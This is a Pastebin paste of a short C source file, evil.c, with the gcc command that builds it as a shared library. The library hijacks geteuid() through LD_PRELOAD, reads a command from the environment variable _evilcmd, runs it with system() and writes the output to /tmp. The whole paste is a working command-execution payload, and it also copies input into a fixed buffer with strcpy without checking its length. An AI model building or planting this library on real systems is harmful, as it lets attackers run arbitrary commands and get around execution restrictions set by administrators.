Guest User

Untitled

a guest
Jan 21st, 2019
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.42 KB | None | 0 0
  1. /* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
  2.  
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5. #include <string.h>
  6.  
  7. void payload(char *cmd) {
  8. char buf[512];
  9. strcpy(buf, cmd);
  10. strcat(buf, " > /tmp/_0utput.txt");
  11. system(buf);
  12. }
  13.  
  14. int geteuid() {
  15. char *cmd;
  16. if (getenv("LD_PRELOAD") == NULL) { return 0; }
  17. unsetenv("LD_PRELOAD");
  18. if ((cmd = getenv("_evilcmd")) != NULL) {
  19. payload(cmd);
  20. }
  21. return 1;
  22. }
Add Comment
Please, Sign In to add comment